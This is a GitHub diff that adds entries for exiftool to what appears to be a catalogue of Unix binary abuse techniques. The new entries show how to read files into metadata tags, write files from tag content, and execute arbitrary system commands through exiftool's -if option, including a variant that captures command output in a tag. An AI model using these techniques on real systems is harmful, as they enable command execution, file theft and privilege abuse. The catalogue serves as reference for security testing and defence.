File tree 1 file changed +20
-0
lines changed
1 file changed +20
-0
lines changed Original file line number Diff line number Diff line change @@ -8,14 +8,34 @@ functions:
8
8
OUTPUT=output_file
9
9
exiftool -filename=$OUTPUT $LFILE
10
10
cat $OUTPUT
11
+ - description : Exfiltrate file data via metadata tags
12
+ code : |
13
+ LFILE=file_read
14
+ INPUT=input_file
15
+ exiftool "-description<=$LFILE" --filename $INPUT
11
16
file-write :
12
17
- code : |
13
18
LFILE=file_to_write
14
19
INPUT=input_file
15
20
exiftool -filename=$LFILE $INPUT
21
+ - description : Write file from metadata tag's content
22
+ code : |
23
+ LFILE=file_to_write
24
+ INPUT=input_file
25
+ exiftool -description -W $LFILE --filename $INPUT
16
26
sudo :
17
27
- code : |
18
28
LFILE=file_to_write
19
29
INPUT=input_file
20
30
sudo exiftool -filename=$LFILE $INPUT
31
+ command :
32
+ - code : |
33
+ COMMAND=command_to_execute
34
+ INPUT=input_file
35
+ exiftool -if "system('$COMMAND');1" --filename $INPUT
36
+ - description : Run system command and exfiltrate result via metadata tags
37
+ code : |
38
+ COMMAND=command_to_execute
39
+ INPUT=input_file
40
+ exiftool -userparam "inj=Test" -if "\$\$self{OPTIONS}{UserParam}{inj}=\`$COMMAND\`;1" '-description<$inj' --filename $INPUT
21
41
---
You can’t perform that action at this time.
0 commit comments